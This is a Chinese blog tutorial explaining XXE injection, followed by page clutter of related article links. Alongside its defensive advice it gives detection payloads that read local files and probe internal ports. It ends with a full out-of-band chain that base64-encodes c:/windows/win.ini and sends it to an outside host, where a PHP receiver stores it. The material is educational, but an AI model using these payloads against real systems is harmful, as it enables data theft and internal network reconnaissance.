本文转自行云博客https://www.xy586.top/

文章目录

  • 什么是XXE
  • 原理
  • XXE漏洞带来的的危害
  • 什么是 XML
  • 寻找XXE
  • XXE的防御
  • 示例

什么是XXE

XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。

原理

既然XML可以从外部读取DTD文件,那我们就自然地想到了如果将路径换成另一个文件的路径,那么服务器在解析这个XML的时候就会把那个文件的内容赋值给SYSTEM前面的根元素中,只要我们在XML中让前面的根元素的内容显示出来,不就可以读取那个文件的内容了。这就造成了一个任意文件读取的漏洞。

那如果我们指向的是一个内网主机的端口呢?是否会给出错误信息,我们是不是可以从错误信息上来判断内网主机这个端口是否开放,这就造成了一个内部端口被探测的问题。另外,一般来说,服务器解析XML有两种方式,一种是一次性将整个XML加载进内存中,进行解析;另一种是一部分一部分的、“流式”地加载、解析。如果我们递归地调用XML定义,一次性调用巨量的定义,那么服务器的内存就会被消耗完,造成了拒绝服务攻击。

XXE漏洞带来的的危害

当允许引用外部实体时, XML数据在传输中有可能会被不法分子被修改,如果服务器执行被恶意插入的代码,就可以实现攻击的目的攻击者可以通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害。

什么是 XML

  • XML 指可扩展标记语言(EXtensible Markup Language)。
  • XML 是一种很像HTML的标记语言。
  • XML 的设计宗旨是传输数据,而不是显示数据。
  • XML 标签没有被预定义。您需要自行定义标签。
  • XML 被设计为具有自我描述性。
  • XML 是 W3C 的推荐标准。

DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。

DTD文档组成

1.元素(ELEMENT)的定义规则;

2.元素之间的关系规则;

3.属性(ATTLIST)的定义规则;

4.可使用的实体(ENTITY)或符号(NOTATION)规则。

寻找XXE

检测xml是否被解析

尝试注入特殊字符,使XML失效,引发解析异常,明确后端使用XML传输数据。

  • 单双引号 ' " :XML的属性值必须用引号包裹,而数据可能进入标签的属性值。
  • 尖括号< > :XML的开始/结束标签用尖括号包裹,数据中出现尖括号会引发异常。
  • 注释符<!-- :XML使用<!-- This is a comment -->作注释。
  • & :& 用于引用实体。
  • CDATA 分隔符]]><![CDATA[foo]]>中的内容不被解析器解析,提前闭合引发异常。

检测是否支持外部实体解析

尝试利用实体和DTD。

  • 引用外部DTD文件访问内网主机/端口 :<!DOCTYPE a SYSTEM "http://127.0.0.1:2333">(看响应时间)
  • 引用外部DTD文件访问外网 :<!DOCTYPE a SYSTEM "http://vps_ip" >
  • 引用内部实体 :<!DOCTYPE a [<!ENTITY xxe "findneo">]><a>&xxe;</a>
  • 外部实体读本地文件 :<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/hosts">]><a>&xxe;</a>
  • 外部实体访问内网主机/端口 :<!DOCTYPE a SYSTEM "http://192.168.1.2:80">(看响应时间)
  • 外部实体访问外网 :<!DOCTYPE a [<!ENTITY xxe SYSTEM "http://vps_ip">]><a>&xxe;</a>
  • 判断问题存在可以OOB提取数据。

XXE的防御

  • 使用开发语言提供的禁用外部实体的方法

PHP

libxml_disable_entity_loader(true);

JAVA

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

Python

from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

  • 过滤用户提交的XML数据

过滤关键词:<!DOCTYPE<!ENTITY,或者SYSTEMPUBLIC

示例

xxe1.php文件

<?php
$test =<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % load SYSTEM "php://filter/read=convert.base64-encode/resource=c:/windows/win.ini">
<!ENTITY % remote SYSTEM "http://lyb.cn/load.xml">
%remote;
%send;
]>
EOF;
$obj = simplexml_load_string($test, SimpleXMLElement, LIBXML_NOENT);
?>

load.xml文件

<!ENTITY % all"<!ENTITY % send SYSTEM 'http://lyb.cn/test.php?load=%load;'>"
>
%all;

text.php文件

<?php file_put_contents("load.txt",$_GET["load"],FILE_APPEND);?>

访问http://192.168.1.218/xxe1.php,将会在lyb.cn的网站下创建一个load.txt,里面含有c:/windows/win.ini文件base64编码过后的数据


代码执行过程

XXE实体注入漏洞详解相关推荐

  1. XXE(XML外部实体注入)详解

    1. XXE漏洞描述 XXE(XML External Entity Injection)又称为"XML外部实体注入漏洞". 当允许引用外部实体时,通过构造恶意内容,就可能导致任意 ...

  2. SQL 注入漏洞详解

    [渗透测试实用手册]SQL注入漏洞 漏洞名称 SQL注入漏洞 漏洞地址 漏洞等级 高危 漏洞描述 SQL 注入漏洞是指攻击者通过把恶意的 SQL 语句插入到网站的输入参数中,来绕过网站的安全措施,获取 ...

  3. SQL注入漏洞 详解

    漏洞影响 攻击者利用该漏洞可能导致 1.网页被篡改 2.数据被篡改 3. 核心数据被窃取 4. 数据库所在服务器被攻击变成傀儡主机 解决方法: 1.      过滤用户输入的内容,检查用户输入的内容中 ...

  4. 74cms3.0安装以及cmsSQL注入漏洞详解

    下载解压到www目录并开启低版本PHP服务 访问 http://127.0.0.1/74cms3.0/install/index.php Error:Can't select MySQL databa ...

  5. XXE漏洞详解(三)——XXE漏洞实际运用

    今天继续给大家介绍渗透测试相关知识,本文主要内容是XXE漏洞详解(三)--XXE漏洞实际运用. 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! ...

  6. XML外部实体注入漏洞——XXE简单分析

    前言: XXE漏洞经常出现在CTF中,一直也没有系统的学习过,今天就来总结一波. 文章目录 一.XXE 漏洞是什么: 二.XML基础知识: 1.XML是什么? 2.XML文档结构: DTD声明方式: ...

  7. XXE外部实体注入漏洞总结

    Python微信订餐小程序课程视频 https://edu.csdn.net/course/detail/36074 Python实战量化交易理财系统 https://edu.csdn.net/cou ...

  8. 墨者学院SQL手工注入靶场漏洞详解

    墨者学院SQL手工注入靶场漏洞详解 目录 靶场地址 步骤详解 目录 靶场地址 该靶场由墨者学院安全工程师"墨者"所搭建,靶场环境为Nginx+PHP+MySQL,启动靶场只需1墨币 ...

  9. Web网络安全漏洞分析,SQL注入原理详解

    本文主要为大家介绍了Web网络安全漏洞分析SQL注入的原理详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪 一.SQL注入的基础 1.1 介绍SQL注入 SQL注入就是 ...

最新文章

  1. 【微信小程序】wx:if
  2. python---重点(设计模式)
  3. Maven属性(properties)标签的使用
  4. 怎么看我装的sql能不能用_深入浅出sql优化(三)之单表索引优化
  5. python文件重命名加日期_Python文件创建日期和重命名 - 批评请求
  6. Atitit 嵌入式系统与pc系统的对比 目录 1. 哈佛结构和冯诺依曼结构 普林斯顿结构区 1 2. 中断程序 类库调用 1 3. 指令集 三大流程语句 与 运算语句 赋值语句 1 4. 异
  7. 皕杰报表使用技巧:竖排文字如何输入
  8. ceph--磁盘和rbd、rados性能测试工具和方法
  9. 如何使用电力电子仿真软件Plecs写程序脚本?(欢迎交流学习)
  10. 乐回购服务器异常等待修复,楚留香4.26立夏集活动玩法大全 聚沙成塔春尽雅集拄食兆吉奇趣斗蛋张榜升擂迎夏祈福莲舫觅珍曲水台_游侠手游...
  11. 使用gulp安装智图压缩图片
  12. 让iphone死机的短信内容
  13. 电信 dns服务器 不稳定,网速不稳定的解决方法:修改本地DNS
  14. 计算机主机不启动的故障,电脑不能正常启动的原因及解决方法
  15. win7 uefi 无法对计算机,uefi安装_uefi安装win7解决方法
  16. 量子计算机 液体核磁共振,用液体核磁共振实现量子计算
  17. dcos 正确的查看日志的姿势
  18. sketchup渲染插件有哪些?哪个好用?
  19. C语言判断输入的正整数是否既是5又是7的整倍数。
  20. ubuntu18.04已匹配蓝牙耳机但是连接不上

热门文章

  1. 为什么海底捞员工很少离职
  2. Echarts官方文档
  3. 查看电脑ip地址是否被占用
  4. android 壁纸 官方网站,wallsplash - 壁纸从未如此精美 #Android
  5. 罗素156句名言:人之所以有道德,是因为受到的诱惑还不够大
  6. ipad无线怎么重新连接到服务器,iPad不能连接无线怎么办 iPad不能连接无线解决方法【详解】...
  7. Oracle 12c 数据库可插拔体系结构
  8. svg基础+微信公众号交互(二)
  9. 案例解读 | 重视管理会计,让永辉超市从生鲜市场破局
  10. JAVA毕业设计vue健康餐饮管理系统设计与实现计算机源码+lw文档+系统+调试部署+数据库